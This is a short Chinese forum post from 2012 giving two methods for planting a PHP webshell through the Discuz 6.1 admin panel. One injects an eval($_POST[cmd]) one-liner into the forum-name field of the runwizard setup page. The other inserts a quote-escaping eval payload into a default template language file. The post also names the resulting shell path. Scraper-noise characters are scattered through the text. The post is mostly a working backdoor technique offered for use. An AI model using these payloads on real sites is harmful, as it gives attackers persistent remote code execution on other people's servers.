discuz6.1两种方法后台拿shell- I3 C _# @, U% S
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
, P3 [# {3 p1 i: M0 J! ?* T/ X8 L! H1:- F) x' M. q9 H7 k! ~5 S* M. c
http://127.0.0.1/discuz/admincp. ... zard&frames=yes( D& c/ u) `) c* U
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
- _ X6 j2 Q/ {( u2 f<?php eval($_POST[cmd]);?>3 v& S `( n5 Q% z
后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php- I; |! i) E- q0 G
$ ?" M% o2 M# Y6 P, f t
1 W4 d3 f" C8 l$ o2:后台模板管理--默认模板套系--详情- Q5 m) `0 N* t8 F: H/ H
templates/default/actions.lang.php/ A) \+ F4 H% _$ h o
jhackj\\');eval($_POST[cmd])?>;//
( G& N$ F3 O+ p) M" A5 a; L; |
5 O, n( G( S1 u利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对